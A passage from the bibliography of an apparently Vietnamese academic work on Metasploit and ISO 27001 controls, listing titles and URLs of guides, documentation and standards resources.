https://www.rapid7.com/products/metasploit/download/editions/
5. What is Metasploit? The Beginner’s Guide. Retrieved from
https://www.varonis.com/blog/what-is-metasploit/
6. Vulnerability & Exploit Database. Retrieved from
https://www.rapid7.com/db/?q=&type=metasploit
7. The Requirements & Annex A Controls of ISO 27001. Retrieved from
https://www.isms.online/iso-27001/requirements-controls/
8. ISO 27001: The 14 control sets of Annex A explained. Retrieved from
https://www.itgovernance.co.uk/blog/iso-27001-the-14-control-sets-of-annex-a-
explained
9. ISO 27001 Compliance Checklist. Retrieved from
https://idoc.pub/download/iso-27001-compliance-checklist-d2nv3oomx04k
10. Mapping to ISO 27001 Controls. Retrieved from
http://www.esdebe.com/perch/resources/iso-27001-annex-s-control-
mapping.pdf
11. An ninh thông tin ở Việt Nam trong điều kiện hiện nay. Retrieved from
http://tuyengiao.vn/
12. Quá trình hình thành các tiêu chuẩn an toàn thông tin. Retrieved from
http://antoanthongtin.gov.vn/
13. Mô tả chức năng Task Chain. Retrieved from
https://docs.rapid7.com/metasploit/task-chains/
14. Rubydoc of Metasploit Framework project. Retrieved from
https://www.rubydoc.info/github/rapid7/metasploit-framework